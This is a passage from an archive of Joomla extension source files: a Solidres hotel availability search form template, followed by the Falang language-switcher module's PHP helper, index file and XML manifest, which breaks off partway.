 * responsibility to update the overridden files (if any) to maintain full compatibility with Solidres.
 *
 * We do not provide support if any of the overridden files are out of date and are not compatible with Solidres.
 *
 * @version 2.8.0
 */

defined('_JEXEC') or die;
?>

<form id="sr-checkavailability-form-<?php echo $module->id ?>"
      action="<?php echo JRoute::_('index.php?option=com_solidres&view=reservationasset&id='.$tableAsset->id.'&Itemid='.$params->get('target_itemid'), false)?>"
      method="GET" class="form-stacked sr-validate solidres-module-checkavailability <?php echo SR_UI ?>"
      onsubmit="this.action = ((Solidres.options.get('AutoScroll') == 1) ? this.action + (this.room_type_id != undefined && this.room_type_id.value != '' ? '#srt_' + this.room_type_id.value : '#form') : this.action)">
    <fieldset>
        <input name="id" value="<?php echo $tableAsset->id ?>" type="hidden" />
	    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
		    <div class="<?php echo SR_UI_GRID_COL_12 ?>">
			    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
				    <div class="<?php echo $enableRoomQuantity == 0 ? SR_UI_GRID_COL_9 : ($hideRoomQuantity ? SR_UI_GRID_COL_7 : SR_UI_GRID_COL_6) ?>">
					    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
						    <div class="<?php echo $enableRoomTypeDropdown ? SR_UI_GRID_COL_4 : SR_UI_GRID_COL_6 ?>">
							    <label for="checkin">
								    <?php echo JText::_('SR_SEARCH_CHECKIN_DATE')?>
							    </label>
							    <div class="checkin_module datefield">
								    <?php echo isset($checkin) ?
									    $checkinModule->format($dateFormat, true) :
									    $dateCheckIn->format($dateFormat, true) ?>
								    <i class="fa fa-calendar"></i>
							    </div>
							    <div class="checkin_datepicker_inline_module datepicker_inline" style="display: none"></div>
							    <?php // this field must always be "Y-m-d" as it is used internally only ?>
							    <input type="hidden" name="checkin" value="<?php echo isset($checkin) ?
								    $checkinModule->format('Y-m-d', true) :
								    $dateCheckIn->format('Y-m-d', true) ?>" />
						    </div>
						    <div class="<?php echo $enableRoomTypeDropdown ? SR_UI_GRID_COL_4 : SR_UI_GRID_COL_6 ?>">
							    <label for="checkout">
								    <?php echo JText::_('SR_SEARCH_CHECKOUT_DATE')?>
							    </label>
							    <div class="checkout_module datefield">
								    <?php echo isset($checkout) ?
									    $checkoutModule->format($dateFormat, true) :
									    $dateCheckOut->format($dateFormat, true)
								    ?>
								    <i class="fa fa-calendar"></i>
							    </div>
							    <div class="checkout_datepicker_inline_module datepicker_inline" style="display: none"></div>
							    <?php // this field must always be "Y-m-d" as it is used internally only ?>
							    <input type="hidden" name="checkout" value="<?php echo isset($checkout) ?
								    $checkoutModule->format('Y-m-d', true) :
								    $dateCheckOut->format('Y-m-d', true) ?>" />
						    </div>
						    <?php if ($enableRoomTypeDropdown && !empty($roomTypes)) : ?>
						    <div class="<?php echo SR_UI_GRID_COL_4 ?>">
							    <label><?php echo JText::_('SR_SEARCH_ROOMTYPES') ?></label>
							    <select class="form-control input-block-level" name="room_type_id">
								    <option value=""></option>
								    <?php
								    foreach ($roomTypes as $roomType) :
									    $selected = $prioritizingRoomTypeId == $roomType->id ? 'selected' : '';
									    echo '<option value="' . $roomType->id . '" '.$selected.'>' . $roomType->name . '</option>';
								    endforeach;
								    ?>
							    </select>
						    </div>
						    <?php endif ?>
					    </div>
					</div>
                    <?php if ($enableRoomQuantity) : ?>
				    <div class="<?php echo $hideRoomQuantity ? SR_UI_GRID_COL_3 : SR_UI_GRID_COL_4 ?>">
					    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
						    <?php if ($hideRoomQuantity == 0) : ?>
						    <div class="<?php echo SR_UI_GRID_COL_3 ?>">
							    <label><?php echo JText::_('SR_SEARCH_ROOMS') ?></label>
							    <select class="form-control input-block-level room_quantity" name="room_quantity">
								    <?php for ($room_num = 1; $room_num <= $maxRooms; $room_num ++) : ?>
									    <option <?php echo $room_num == $roomsOccupancyOptionsCount ? 'selected' : '' ?> value="<?php echo $room_num  ?>"><?php echo $room_num  ?></option>
								    <?php endfor ?>
							    </select>
						    </div>
						    <?php else : ?>
                                <input type="hidden" class="room_quantity" name="room_quantity" value="1" />
						    <?php endif ?>
						    <div class="<?php echo $hideRoomQuantity ? SR_UI_GRID_COL_12 : SR_UI_GRID_COL_9 ?>">
							    <?php for ($room_num = 1; $room_num <= $maxRooms; $room_num ++) : ?>
								    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
									    <div class="<?php echo SR_UI_GRID_COL_12 ?> room_num_row" id="room_num_row_<?php echo $room_num ?>" style="<?php echo $room_num > 0 ? 'display: none' : '' ?>">
										    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
											    <?php if (!$hideRoomQuantity) : ?>
											    <div class="<?php echo SR_UI_GRID_COL_4 ?> room_num_label">
												    <label>&nbsp;</label>
												    <?php echo JText::_('SR_SEARCH_ROOM') ?> <?php echo $room_num  ?>
											    </div>
											    <?php endif ?>
											    <?php if (($hideRoomQuantity && !$mergeAdultChild) || !$hideRoomQuantity) : ?>
											    <div class="<?php echo $hideRoomQuantity ? SR_UI_GRID_COL_6 : SR_UI_GRID_COL_4 ?>">
												    <label><?php echo JText::_('SR_SEARCH_ROOM_ADULTS') ?></label>
												    <select <?php echo $room_num > 0 ? 'disabled': '' ?> class="form-control input-block-level" name="room_opt[<?php echo $room_num ?>][adults]">
													    <?php
													    for ($a = 1; $a <= $maxAdults; $a ++) :
														    $selected = '';
														    if (isset($roomsOccupancyOptions[$room_num]['adults'])
														        &&
														        ($a == $roomsOccupancyOptions[$room_num]['adults'])
														    ) :
															    $selected = 'selected';
														    endif;
														    ?>
														    <option <?php echo $selected ?> value="<?php echo $a ?>"><?php echo $a ?></option>
														    <?php
													    endfor
													    ?>
												    </select>
											    </div>
											    <div class="<?php echo $hideRoomQuantity ? SR_UI_GRID_COL_6 : SR_UI_GRID_COL_4 ?>">
												    <label><?php echo JText::_('SR_SEARCH_ROOM_CHILDREN') ?></label>
												    <select <?php echo $room_num > 0 ? 'disabled': '' ?> class="form-control input-block-level" name="room_opt[<?php echo $room_num ?>][children]">
													    <?php
													    for ($c = 0; $c <= $maxChildren; $c ++) :
														    $selected = '';
														    if (isset($roomsOccupancyOptions[$room_num]['children'])
														        &&
														        $c == $roomsOccupancyOptions[$room_num]['children']
														    ) :
															    $selected = 'selected';
														    endif;
														    ?>
														    <option <?php echo $selected ?> value="<?php echo $c ?>"><?php echo $c ?></option>
														    <?php
													    endfor
													    ?>
												    </select>
											    </div>
											    <?php else : ?>
                                                    <div class="<?php echo SR_UI_GRID_COL_12 ?>">
                                                        <label><?php echo JText::_('SR_SEARCH_GUESTS') ?></label>
                                                        <select <?php echo $room_num > 0 ? 'disabled': '' ?> class="form-control input-block-level" name="room_opt[<?php echo $room_num ?>][guests]">
														    <?php
														    for ($a = 1; $a <= $maxAdults; $a ++) :
															    $selected = '';
															    if (isset($roomsOccupancyOptions[$room_num]['guests'])
															        &&
															        ($a == $roomsOccupancyOptions[$room_num]['guests'])
															    ) :
																    $selected = 'selected';
															    endif;
															    ?>
                                                                <option <?php echo $selected ?> value="<?php echo $a ?>"><?php echo $a ?></option>
															    <?php
														    endfor
														    ?>
                                                        </select>
                                                    </div>
											    <?php endif ?>
										    </div>
									    </div>
								    </div>
							    <?php endfor; ?>
						    </div>
					    </div>
				    </div>
                    <?php endif ?>
				    <div class="<?php echo $enableRoomQuantity == 0 ? SR_UI_GRID_COL_3 : SR_UI_GRID_COL_2 ?>">
					    <div class="action">
						    <label>&nbsp;</label>
						    <button class="btn btn-default btn-block primary" type="submit"><i class="fa fa-search"></i> <?php echo JText::_('SR_SEARCH')?></button>
					    </div>
				    </div>
			    </div>
		    </div>
		</div>
    </fieldset>

    <input type="hidden" name="option" value="com_solidres" />
    <input type="hidden" name="task" value="reservationasset.checkavailability" />
	<input type="hidden" name="Itemid" value="<?php echo $params->get('target_itemid') ?>" />
    <?php echo JHtml::_('form.token'); ?>
</form>mod_falang/helper.php000060400000061741150747276150010646 0ustar00<?php
/**
 * @package     Falang for Joomla!
 * @author      Stéphane Bouey <stephane.bouey@faboba.com> - http://www.faboba.com
 * @license     GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @copyright   Copyright (C) 2010-2017. Faboba.com All rights reserved.
 */

// No direct access to this file
defined('_JEXEC') or die;

jimport('joomla.language.helper');
jimport('joomla.utilities.utility');
jimport('joomla.html.parameter');
jimport('joomla.filesystem.file');

JLoader::register('MenusHelper', JPATH_ADMINISTRATOR . '/components/com_menus/helpers/menus.php');

abstract class modFaLangHelper
{
	public static function getList(&$params)
	{
		$lang   = JFactory::getLanguage();
		$languages	= JLanguageHelper::getLanguages();
		$app	= JFactory::getApplication();
        $levels = JFactory::getUser()->getAuthorisedViewLevels();


        //use to remove default language code in url
        $lang_codes 	= JLanguageHelper::getLanguages('lang_code');
        $default_lang = JComponentHelper::getParams('com_languages')->get('site', 'en-GB');
        $default_sef 	= $lang_codes[$default_lang]->sef;

		jimport('joomla.application.component.helper');
		$cparams = JComponentHelper::getParams('com_falang');

        $menu = $app->getMenu();
        $active = $menu->getActive();
        $uri = JURI::getInstance();


		//falang 2.9.5 need to clone uri
		$router = JRouter::getInstance($app->getName());
		$tmpuri = clone($uri);
		$router->parse($tmpuri);
		$vars = $router->getVars();


        //On edit mode the flag/name must be disabled

        // Get menu home items
        $homes = array();

        foreach ($menu->getMenu() as $item)
        {
            if ($item->home)
            {
                $homes[$item->language] = $item;
            }
        }


        //methond valid since Joomla 3.2+
        $assoc =  JLanguageAssociations::isEnabled();

		if ($assoc) {
			if ($active) {
				$associations = MenusHelper::getAssociations($active->id);
			}
            // Load component associations
            $class = str_replace('com_', '', $app->input->get('option')) . 'HelperAssociation';
            JLoader::register($class, JPATH_COMPONENT_SITE . '/helpers/association.php');

            if (class_exists($class) && is_callable(array($class, 'getAssociations')))
            {
                //don't load association for eshop
                if ( $class != 'eshopHelperAssociation'){
                    $cassociations = call_user_func(array($class, 'getAssociations'));
                }
            }
		}
   		foreach($languages as $i => &$language) {
			// Do not display language without frontend UI, check user access level
			if ((!JLanguage::exists($language->lang_code)) || ($language->access && !in_array($language->access, $levels))) {
				unset($languages[$i]);
			}

            $language_filter = JLanguageMultilang::isEnabled();

            //set language active before language filter use for sh404 notice
            $language->active =  $language->lang_code == $lang->getTag();

            //since v1.4 change in 1.5 , ex rsform preview don't have active
            //this method don't set display for component association set after
            if (isset($active)){
                $language->display = ($active->language == '*' || $language->active)?true:false;
            } else {
                $language->display = true;
            }

            if (modFaLangHelper::isEditMode()){
                $language->display = false;
            }

            if ($language_filter) {
                //use component association
                if (isset($cassociations[$language->lang_code])) {
                    $language->link = JRoute::_($cassociations[$language->lang_code] . '&lang=' . $language->sef);
                    //fix mijoshop link
					if (isset($_GET['mijoshop_store_id'])) {
						$_link = explode('?', $language->link);
						$language->link = $_link[0];
					}
                    //if association existe for this language display flag.
                    $language->display = true;
                }elseif (isset($associations[$language->lang_code]) && $menu->getItem($associations[$language->lang_code])) {
                    //use menu association.
                    $language->display = true;
                    $itemid = $associations[$language->lang_code];

	                //if ($app->input->get->get(‘option’, ‘’) !== ‘com_mojishop’) {
	                //since 2.9.3 it's no more necessary
//                    if (isset($_GET['option']) && $_GET['option'] != 'com_mijoshop') {
//                        $vars['Itemid'] = $itemid;
//                    }
	                $language->link = JRoute::_('index.php?lang=' . $language->sef . '&Itemid=' . $itemid);

                }
                else {
                    //sef case
                    if ($app->getCfg('sef')=='1') {

                        //sefToolsEnabled
                        if (modFaLangHelper::mijosefToolEnabled()) {
                            $itemid = isset($homes[$language->lang_code]) ? $homes[$language->lang_code]->id : $homes['*']->id;
                            if ($_GET['option'] != 'com_mijoshop') {
                                $language->link = JRoute::_('index.php?lang='.$language->sef.'&Itemid='.$itemid);
                            } else {
                                $language->link = JRoute::_('index.php?lang='.$language->sef);
                            }
                            continue;
                        }

                        if (modFaLangHelper::sh404Enabled()){
                        	//TODO Check when the following JSite::getRouter(); is removed
                            $router = JSite::getRouter();
                            $urlvars = $router->getVars();
                            $urlvars['lang'] = $language->sef;
	                        $url = 'index.php?'.JURI::buildQuery($urlvars);
	                        $language->link = JRoute::_($url);
                            continue;
                        }

                         //workaround to fix index language
                         $vars['lang'] = $language->sef;

						//fix for home menu on Joomla 3.7
	                    if (isset($vars['Itemid']) && ($vars['Itemid'] == $homes['*']->id) ){
		                    $language->link = JRoute::_('index.php?lang=' . $language->sef . '&Itemid=' . $homes['*']->id);
		                    continue;
	                    }

	                    //2.9.0

	                    //look on menu_show for translated language by default is disabled due to extra query
	                    if ($cparams->get('advanced_menu_show',false) && !empty($vars['Itemid']))
	                    {
		                    $menu_show = 1;//default visible

		                    if ($lang->getTag() != $language->lang_code)
		                    {
			                    $fManager = FalangManager::getInstance();
			                    $id_lang  = $fManager->getLanguageID($language->lang_code);
			                    $db       = JFactory::getDbo();
			                    // get translated path if exist
			                    $query = $db->getQuery(true);
			                    $query->select('fc.value')
				                    ->from('#__falang_content fc')
				                    ->where('fc.reference_id = ' . (int) $vars['Itemid'])
				                    ->where('fc.language_id = ' . (int) $id_lang)
				                    ->where('fc.reference_field = \'params\'')
				                    ->where('fc.published = 1')
				                    ->where('fc.reference_table = \'menu\'');
			                    $db->setQuery($query);
			                    $translatedParams = $db->loadResult();

			                    $registry = new \Joomla\Registry\Registry();
			                    $registry->loadString($translatedParams);
			                    $menu_show = (int)$registry->get('menu_show','1');

		                    } else {
			                    $_menu        = $menu->getItem($vars['Itemid']);
			                    $_menu_params = $_menu->getParams();
			                    $menu_show    = (int)$_menu_params->get('menu_show','1');
		                    }
		                    if ($menu_show == 0){$language->display = false;}
	                    }
	                    //fin 2.8.45



	                    //since 2.2.1
                        //case of article category view
                        //set the language used to reload category with the right language
                        $jfm = FalangManager::getInstance();
                        if (!empty($vars['view']) && $vars['view'] == 'category'  && !empty($vars['option']) && $vars['option'] == 'com_content') {
                            if (($language->lang_code != $default_lang) || ($lang->getTag() != $default_lang) ){
                                JCategories::$instances = array();
                                $jfm->setLanguageForUrlTranslation($language->lang_code);
                            }
                        }
                        //end since 2.2.1

                        //case of category article
                        //set the language used to reload category with the right language
                        if (!empty($vars['view']) && $vars['view'] == 'article'  && !empty($vars['option']) && $vars['option'] == 'com_content') {

                            //since 2.2.1
                            if (($language->lang_code != $default_lang) || ($lang->getTag() != $default_lang) ){
                                JCategories::$instances = array();
                                $jfm->setLanguageForUrlTranslation($language->lang_code);
                            }
                            //end 2.2.1

                            JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_content/models', 'ContentModel');
                            $model = JModelLegacy::getInstance('Article', 'ContentModel', array('ignore_request'=>true));
                            $appParams = JFactory::getApplication()->getParams();


                            $model->setState('params', $appParams);

                            //in sef some link have this url
                            //index.php/component/content/article?id=39
                            //id is not in vars but in $tmpuri
                            if (empty($vars['id'])) {
                                $tmpid = $tmpuri->getVar('id');
                                if (!empty($tmpid)) {
                                    $vars['id'] = $tmpuri->getVar('id');
                                } else {
                                    continue;
                                }
                            }

                            $item = $model->getItem($vars['id']);

                            //v2.9.0
	                        //for specific language item
	                        //set display to false exept for the display language and for associated item.
	                        if ($item->language != '*' && $language->lang_code != $item->language){
		                        $language->display = false;
	                        }


                            //get alias of content item without the id , so i don't have the translation
                            $db = JFactory::getDbo();
                            $query = $db->getQuery(true);
                            $query->select('alias')->from('#__content')->where('id = ' . (int) $item->id);
                            $db->setQuery($query);
                            $alias = $db->loadResult();

                            $vars['id'] = $item->id.':'.$alias;
                            $vars['catid'] =$item->catid.':'.$item->category_alias;
                        }

                        //2.9.0
                        //case of k2 item with specific language set
	                    if (!empty($vars['view']) && $vars['view'] == 'item'  && !empty($vars['option']) && $vars['option'] == 'com_k2') {
		                    JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_k2/models', 'K2Model');
		                    $model = JModelLegacy::getInstance('Item', 'K2Model', array('ignore_request'=>true));
		                    $item = $model->getData();

		                    if ($item->language != '*' && $language->lang_code != $item->language){
			                    $language->display = false;
		                    }
	                    }
						//end 2.9.0

                        //new version 1.5
                        //case for k2 item alias write twice
                        //since k2 v 1.6.9 $vars['task'] don't exist.
                        //v2.2.3 fix for archive notice
                        if (isset($vars['option']) && $vars['option'] == 'com_k2'){
                            if (isset($vars['task']) && isset($vars['id']) && ($vars['task'] == $vars['id'])){
                                unset($vars['id']);
                            }
                        }

                        //new 2.5.0
                        //fix for virtuemart url with showall, limitstart, limit on productsdetail page
                        if (isset($vars['option']) && $vars['option'] == 'com_virtuemart'){
                            if (isset($vars['view']) && $vars['view'] == 'productdetails'){
	                            vmLanguage::setLanguageByTag($language->lang_code);
	                            unset($vars['showall']);
                                unset($vars['limitstart']);
                                unset($vars['limit']);
                            }
                        }


                        //fix for hikashop url with start on product page
                        if (isset($vars['option']) && $vars['option'] == 'com_hikashop'){
							  if (isset($vars['view']) && $vars['view'] == 'product'){
								  unset($vars['start']);
							  }
						}						

                        $url = 'index.php?'.JURI::buildQuery($vars);
                        $language->link = JRoute::_($url);

                        //since 2.2.1
                        //on restaure les categories pour le cas des liste de categories
                        if (!empty($vars['view']) && $vars['view'] == 'category'  && !empty($vars['option']) && $vars['option'] == 'com_content') {
                            if (($language->lang_code != $default_lang) || ($lang->getTag() != $default_lang)) {
                                JCategories::$instances = array();
                                $jfm->setLanguageForUrlTranslation(null);
                            }
                        }

                        if (!empty($vars['view']) && $vars['view'] == 'article'  && !empty($vars['option']) && $vars['option'] == 'com_content') {

                            if (($language->lang_code != $default_lang) || ($lang->getTag() != $default_lang)) {
                                JCategories::$instances = array();
                                $jfm->setLanguageForUrlTranslation(null);
                            }
                        }
                        //end 2.2.1


                        //TODO check performance 3 queries by languages -1
                        /**
                         * Replace the slug from the language switch with correctly translated slug.
                         * $language->lang_code language de la boucle (icone lien)
                         * $lang->getTag() => language en cours sur le site
                         * $default_lang langue par default du site
                         */
                        if($lang->getTag() != $language->lang_code && !empty($vars['Itemid']))
                        {
                            $fManager = FalangManager::getInstance();
                            $id_lang = $fManager->getLanguageID($language->lang_code);
                            $db = JFactory::getDbo();
                            // get translated path if exist
                            $query = $db->getQuery(true);
                            $query->select('fc.value')
                                ->from('#__falang_content fc')
                                ->where('fc.reference_id = '.(int)$vars['Itemid'])
                                ->where('fc.language_id = '.(int) $id_lang )
                                ->where('fc.reference_field = \'path\'')
                                ->where('fc.published = 1')
                                ->where('fc.reference_table = \'menu\'');
                            $db->setQuery($query);
                            $translatedPath = $db->loadResult();

                            // $translatedPath not exist if not translated or site default language
                            // don't pass id to the query , so no translation given by falang
                            $query = $db->getQuery(true);
                            $query->select('m.path')
                                ->from('#__menu m')
                                ->where('m.id = '.(int)$vars['Itemid']);
                            $db->setQuery($query);
                            $originalPath = $db->loadResult();

                            $pathInUse = null;
                            //si on est sur une page traduite on doit récupérer la traduction du path en cours
                            if ($default_lang != $lang->getTag() ) {
                                $id_lang = $fManager->getLanguageID($lang->getTag());
                                // get translated path if exist
                                $query = $db->getQuery(true);
                                $query->select('fc.value')
                                    ->from('#__falang_content fc')
                                    ->where('fc.reference_id = '.(int)$vars['Itemid'])
                                    ->where('fc.language_id = '.(int) $id_lang )
                                    ->where('fc.reference_field = \'path\'')
                                    ->where('fc.published = 1')
                                    ->where('fc.reference_table = \'menu\'');
                                $db->setQuery($query);
                                $pathInUse = $db->loadResult();

                            }

                            if (!isset($translatedPath)) {
                                $translatedPath = $originalPath;
                            }

                            // not exist if not translated or site default language
                            if (!isset($pathInUse)) {
                                $pathInUse = $originalPath ;
                            }

                            //make replacement in the url

                            //si language de boucle et language site
                            if($language->lang_code == $default_lang) {
                                if (isset($pathInUse) && isset($originalPath)){
                                    $language->link = str_replace($pathInUse, $originalPath, $language->link);
                                }
                            } else {
                                if (isset($pathInUse) && isset($translatedPath)){
                                    $language->link = str_replace($pathInUse, $translatedPath, $language->link);
                                }
                            }

                        }
                    }
                    //default case
             else
             {
	             //since 3.4.3 JUri Reset needed
	             //fix problem on mod_login (same position before falang module

	             //fix 2.8.4
	             // bug when menu item translation don't link to the same item or type
	             // need to load the path of the ItemId
	             //si on est sur une page traduite on doit récupérer la traduction du path en cours
	             JUri::reset();
	             $uri = JUri::getInstance();
	             $uri->setVar('lang', $language->sef);

	             $input = JFactory::getApplication()->input;
	             $vars = $input->getArray();

	             //set language link
	             $language->link = modFaLangHelper::getLinkWithoutSefEnabled($language, $lang, $default_lang, $vars);

	             //v2.9.0
	             //for specific language item on content
	             //set display to false exept for the display language and for associated item.
	             if ($uri->getVar('view') == 'article' && $uri->getVar('option') == 'com_content')
	             {
		             JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_content/models', 'ContentModel');
		             $model = JModelLegacy::getInstance('Article', 'ContentModel', array('ignore_request'=>true));
		             $appParams = JFactory::getApplication()->getParams();
		             $model->setState('params', $appParams);
		             $item = $model->getItem($uri->getVar('id'));

		             if ($item->language != '*' && $language->lang_code != $item->language)
		             {
			             $language->display = false;
		             }
	             }//end 2.9.0

	             //2.9.0
	             //case of k2 item with specific language set
	             if ($uri->getVar('view') == 'item'  && $uri->getVar('option') == 'com_k2') {
		             JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_k2/models', 'K2Model');
		             $model = JModelLegacy::getInstance('Item', 'K2Model', array('ignore_request'=>true));
		             $item = $model->getData();

		             if ($item->language != '*' && $language->lang_code != $item->language){
			             $language->display = false;
		             }
	             }//end 2.9.0



	             //fix problem on mod_login (same position before falang module
	             JUri::reset();
             }//end sef
                }
            }
            //no language filter published
            else {
                $language->link = 'index.php';
            }

		}
		return $languages;
	}

    public static function isFalangDriverActive() {
        $db = JFactory::getDBO();
        if (!is_a($db,"JFalangDatabase")){
           return false;
        }
           return true;
    }

    public static function isEditMode(){
        $layout = JFactory::getApplication()->input->get('layout');
        if ($layout == 'edit'){
            return true;
        } else {
            return false;
        }
    }

    public static function mijosefToolEnabled() {
        //check mijosef
        $mijoseffilename = JPATH_ADMINISTRATOR . '/components/com_mijosef/library/mijosef.php';
        if (JFile::exists($mijoseffilename)) {
            require_once($mijoseffilename);
            $mijoconfig = Mijosef::getConfig();

            if ($mijoconfig->mode == 1){
                return true;
            }
        }
        return false;
    }

    public static function sh404Enabled() {
        $sh404filename = JPATH_ADMINISTRATOR . '/components/com_sh404sef/sh404sef.class.php';
        if (JFile::exists($sh404filename)) {
            require_once($sh404filename);
            // get our configuration
            $sefConfig = &Sh404sefFactory::getConfig();

            if ($sefConfig->Enabled)
            {
                return true;
            }
        }
    }

	/**
	 *
	 * New method to build link for non sef url when the translated url don't link to the same item
	 * $language language in the loop of flang
	 * $lang Language displayed on the site
	 * $default_lang site default langue
	 *
	 * @since version 2.8.4
	 */
    public static function getLinkWithoutSefEnabled($language,$lang,$default_lang,$vars)
    {

	    //workaround to fix index language
	    if (empty($vars['lang'])){
		    $vars['lang'] = $language->sef;
	    }

	    $link = null;

	    //build link for a language look not for the page language displayed
	    if (($lang->getTag() != $language->lang_code) && !empty($vars['Itemid']))
	    {
		    $fManager = FalangManager::getInstance();
		    $id_lang  = $fManager->getLanguageID($language->lang_code);
		    $db       = JFactory::getDbo();
		    // get translated path if exist
		    $query = $db->getQuery(true);
		    $query->select('fc.value')
			    ->from('#__falang_content fc')
			    ->where('fc.reference_id = ' . (int) $vars['Itemid'])
			    ->where('fc.language_id = ' . (int) $id_lang)
			    ->where('fc.reference_field = \'link\'')
			    ->where('fc.published = 1')
			    ->where('fc.reference_table = \'menu\'');
		    $db->setQuery($query);
		    $translatedPath = $db->loadResult();

		    // $translatedPath not exist if not translated or site default language
		    // don't pass id to the query , so no translation given by falang
		    $query = $db->getQuery(true);
		    $query->select('m.link')
			    ->from('#__menu m')
			    ->where('m.id = ' . (int) $vars['Itemid']);
		    $db->setQuery($query);
		    $originalPath = $db->loadResult();

		    //si language de boucle et language site
		    if (isset($translatedPath)){
		    	$link = $translatedPath;
		    } else {
		    	$link = $originalPath;
		    }
		    $link = $link . '&Itemid=' . (int) $vars['Itemid'] . '&lang=' . $language->sef;
		    //fix com_mwosoby component who need the id
		    if (!empty($vars['id'])){
			    $link .= '&id='.(int)$vars['id'];
		    }

		    return $link;
	    }
	    return JUri::getInstance()->toString(array('scheme', 'host', 'port', 'path', 'query'));
    }
}
mod_falang/index.html000060400000000055150747276150010642 0ustar00<html><body bgcolor="#FFFFFF"></body></html>
mod_falang/mod_falang.xml000060400000014070150747276150011460 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension 	type="module" version="3.0"	client="site" method="upgrade">
	<name>mod_falang</name>
	<author>Stéphane Bouey</author>
	<creationDate>23 march 2020</creationDate>
	<copyright>2011-2020, Faboba</copyright>
	<license>GNU General Public License version 2 or later; see	LICENSE.txt</license>
	<authorEmail>stephane.bouey@faboba.com</authorEmail>
	<authorUrl>www.faboba.com</authorUrl>
	<version>3.3.0</version>
	<description>MOD_FALANG_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_falang">mod_falang.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
		<filename>index.html</filename>
		<filename>mod_falang.xml</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.mod_falang.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.mod_falang.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_LANGUAGE_SWITCHER" />

	<media destination="mod_falang" folder="media">
		<filename>index.html</filename>
		<folder>images</folder>
        <folder>css</folder>
	</media>

	<config>
		<fieldset>
			<field name="language"
				type="list"
				description="JFIELD_MODULE_LANGUAGE_DESC"
				label="JFIELD_LANGUAGE_LABEL">
				<option value="*">JALL</option>
			</field>
		</fieldset>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="dropdown"
					type="radio"
                    class="btn-group btn-group-yesno"
					default="0"
					label="MOD_FALANG_FIELD_DROPDOWN_LABEL"
					description="MOD_FALANG_FIELD_DROPDOWN_DESC" >
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
						name="advanced_dropdown"
						type="radio"
						class="btn-group btn-group-yesno"
						default="0"
						label="MOD_FALANG_FIELD_ADV_DROPDOWN_LABEL"
						description="MOD_FALANG_FIELD_ADV_DROPDOWN_DESC" >
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="spacer1" type="spacer" class="text"
					   label="MOD_FALANG_SPACERDROP_LABEL"
						/>

				<field
					name="inline"
					type="radio"
                    class="btn-group btn-group-yesno"
					default="1"
					label="MOD_FALANG_FIELD_INLINE_LABEL"
					description="MOD_FALANG_FIELD_INLINE_DESC" >
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field name="spacer2" type="spacer" class="text"
					   label="MOD_FALANG_COMMON_LABEL"
						/>

				<field
						name="show_active"
						type="radio"
						class="btn-group btn-group-yesno"
						default="1"
						label="MOD_FALANG_FIELD_ACTIVE_LABEL"
						description="MOD_FALANG_FIELD_ACTIVE_DESC" >
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
						name="image"
						type="radio"
						class="btn-group btn-group-yesno"
						default="1"
						label="MOD_FALANG_FIELD_USEIMAGE_LABEL"
						description="MOD_FALANG_FIELD_USEIMAGE_DESC" >
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
						name="show_name"
						type="radio"
						class="btn-group btn-group-yesno"
						default="0"
						label="MOD_FALANG_FIELD_SHOW_NAME_LABEL"
						description="MOD_FALANG_FIELD_SHOW_NAME_DESC" >
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
					name="full_name"
					type="radio"
                    class="btn-group btn-group-yesno"
					default="1"
					label="MOD_FALANG_FIELD_FULL_NAME_LABEL"
					description="MOD_FALANG_FIELD_FULL_NAME_DESC" >
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
						name="header_text"
						type="textarea"
						filter="safehtml"
						rows="3"
						cols="40"
						label="MOD_FALANG_FIELD_HEADER_LABEL"
						description="MOD_FALANG_FIELD_HEADER_DESC" />
				<field
						name="footer_text"
						type="textarea"
						filter="safehtml"
						rows="3"
						cols="40"
						label="MOD_FALANG_FIELD_FOOTER_LABEL"
						description="MOD_FALANG_FIELD_FOOTER_DESC" />

			</fieldset>
            <fieldset name="options" addfieldpath="/administrator/components/com_falang/models/fields">
                <!-- >>> [FREE] >>> -->
                <field
                        name="@notice_imagespath"
                        type="plaintext"
                        label="MOD_FALANG_FIELD_IMAGEPATH_LABEL"
                        description="MOD_FALANG_FIELD_IMAGEPATH_DESC"
                        default="MOD_FALANG_ONLY_PAID"
                        />
                <field
                        name="@notice_imagestype"
                        type="plaintext"
                        label="MOD_FALANG_FIELD_IMAGETYPE_LABEL"
                        description="MOD_FALANG_FIELD_IMAGETYPE_DESC"
                        default="MOD_FALANG_ONLY_PAID"
                        />

                <!-- <<< [FREE] <<< -->
                
            </fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="MOD_FALANG_FIELD_MODULE_LAYOUT_DESC" />
				<field
					name="moduleclass_sfx"
					type="text"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />

                <field
                    name="cache"
                    type="list"
                    default="1"
                    label="COM_MODULES_FIELD_CACHING_LABEL"
                    description="COM_MODULES_FIELD_CACHING_DESC">
                    <option
                        value="1">JGLOBAL_USE_GLOBAL</option>
                    <option
                        value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
                </field>

				<field
					name="cache_time"
					type="text"
					default="900"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
